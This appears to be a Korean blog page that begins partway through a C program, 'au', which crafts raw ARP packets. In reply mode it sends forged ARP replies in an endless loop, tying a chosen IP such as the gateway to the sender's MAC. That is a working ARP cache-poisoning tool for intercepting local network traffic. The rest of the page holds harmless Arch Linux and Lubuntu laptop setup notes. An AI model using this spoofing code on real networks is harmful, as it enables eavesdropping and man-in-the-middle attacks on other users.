		memcpy(arp->ar_sha, source_mac, 6);
		
		int i = 0;
		for(i = 0 ; i < 3 ; ++i)
		{
			write(g_sock, g_buf, ETHERNET_SIZE+ARP_SIZE);
			sleep(1);
		}

		close(g_sock);
	}

	exit(0);
}

void usage()
{
	printf( "au [-r] -i <ethernet interface> -t <target ip> <source ip>\n"
			"  exam) au -i eth0 192.168.0.10 192.168.0.5 : ARP REQUEST\n"
			"        au -r -i eth0 192.168.0.10 192.168.0.1 : ARP REPLY\n");
	exit(1);
}

// au -i eth0 -t 192.168.0.10 192.168.0.1
int main(int argc, char * argv[])
{
	const char * target_ip = NULL;
	int			reply = 0;			// ARP reply

	g_interface = "eth0";
	int c = 0;
	while((c = getopt(argc, argv, "ri:t:")) != -1)
	{
		switch(c)
		{
		case 'i':
			g_interface = optarg;
			break;
		case 't':
			target_ip = optarg;
			break;
		case 'r':	// ARP REPLY
			reply = 1;
			break;
		default:
			usage();
		}
	}

	argc -= optind;
	argv += optind;

	if(argc != 1)
		usage();

	g_source_ip = argv[0];
	
	bzero(g_buf, sizeof(g_buf));

	struct eth_hdr * ether = (struct eth_hdr *)g_buf;
	struct arp_hdr * arp = (struct arp_hdr *)(g_buf+ETHERNET_SIZE);

	init_packet(ether, arp, reply);

	if(interface2mac(g_interface, ether->h_source) == 0 ||
			ip2mac(g_interface, target_ip, ether->h_dest) == 0 ||
			str2ip(g_source_ip, arp->ar_sip) == 0 ||
			str2ip(target_ip, arp->ar_tip) == 0)
	{
		usage();
	}

	if(reply)
	{
		// ether->h_source == my mac		OK
		// ether->h_dest == target mac		OK
		// arp->ar_sha == my mac
		memcpy(arp->ar_sha, ether->h_source, sizeof(arp->ar_sha));

		// arp->ar_sip == source ip		OK
		// arp->ar_tha == target mac
		memcpy(arp->ar_tha, ether->h_dest, sizeof(arp->ar_tha));

		// arp->ar_tip == target ip			OK
	}
	else
	{
		// ether->h_source == my mac		OK
		// ether->h_dest == "\xff\xff\xff\xff\xff\xff"
		memset(ether->h_dest, 0xff, 6);

		// arp->ar_sha == my mac
		memcpy(arp->ar_sha, ether->h_source, sizeof(arp->ar_sha));

		// arp->ar_sip == my ip				OK source ip is my ip
		// arp->ar_tha == "\x00\x00\x00\x00\x00\x00"
		memset(arp->ar_tha, 0, 6);
		// arp->ar_tip == target ip			OK

		signal(SIGINT, &sig_cleanup);
	}

#ifdef _DEBUG
	printf("Ethernet Header:\n");
	dump((uchar *)ether, sizeof(*ether));

	printf("ARP Header:\n");
	dump((uchar *)arp, sizeof(*arp));
#endif // _DEBUG

	// create rawsocket
	g_sock = rawsocket(g_interface);
	if(g_sock == -1)
		return 1;

	for(;;)
	{
		putchar('.'); fflush(stdout);
		if(write(g_sock, g_buf, ETHERNET_SIZE+ARP_SIZE) < 1)
		{
			perror("write");
			break;
		}

		if(reply != 1)
			break;

		sleep(2);
	}

	close(g_sock);

	return 0;
}

노트북에는 아치리눅스가 짱인듯 싶네요.
일단 보통 리눅스(우분투, 데비얀)들 처럼 구형 386PC에 최적화된 배포판이 아닌 펜티엄 프로(i686) 이상급에 최적화된 배포판입니다. 그리고 군더더기가 전혀 없습니다.

단점으로는 초보가 설치하기가 어렵다는 단점이 있습니다.

노트북에 설치한것을 그냥 써놓습니다.
 
1. 아치 리눅스를 설치한다. 
  http://wiki.kldp.org/wiki.php/ArchInstall

2. X윈도우, lxde 메니저 설치. https://wiki.archlinux.org/index.php/LXDE
 $ pacman -S xorg-xinit
 $ pacman -S lxde leafpad xarchiver obconf epdfview
 $ mkdir -p  ~/.config/openbox
 $ cp /etc/xdg/openbox/* ~/.config/openbox
 
$ vi .xinitrc
export LANG=ko_KR.UTF-8
export XIM="nabi"
export XIM_PROGRAM="/usr/bin/nabi"
export XIM_ARGS=
export GTK_IM_MODULE="xim"
export XMODIFIERS="@im=nabi"
exec ck-launch-session startlxde

3. 한글 설정
yaout 설치
http://zeper.tistory.com/tag/Yaourt 참고

# 폰트및 입력기 설치 http://forcecore.tistory.com/1164
$ yaout -S nabi ttf-alee ttf-nanum ttf-nanumgothic_coding

4. network메니저 설치
$ pacman -S networkmanager network-manager-applet

5. 노트북 툴 설치
$ pacman -S laptop-mode-tools

6. usb 드라이브 auto mount
 $ pacman -S hal ntfs-3g

7. 데몬 자동으로 뜨게 하기
$ vi /etc/rc.conf
...
...
# DAEMONS DAEMONS=(hwclock syslog-ng network netfs crond dbus hal @alsa laptop-init @laptop-mode networkmanager)
8. 완료.





가볍게 돌아가는 리눅스를 설치할려면 먼저
 
1. 우분투 계열인 Lubuntu를 설치한다. 
 http://lubuntu.net/

2. 팬소리를 최소화로 조용하게 사용할려면( 단 속도는 좀 느려진다)
 $ sudo apt-get install sysfsutils cpufrequtils
 $ sudo vi /etc/sysfs.conf
 
devices/system/cpu/cpu0/cpufreq/scaling_governor = powersave
devices/system/cpu/cpu1/cpufreq/scaling_governor = powersave 

$ sudo /etc/init.d/sysfsutils restart


추가) 우분투보다는 아치리눅스가 더 가볍고 빠르더군요.
http://fehead.tistory.com/159 여기를 참고 하세요.
 

+ Recent posts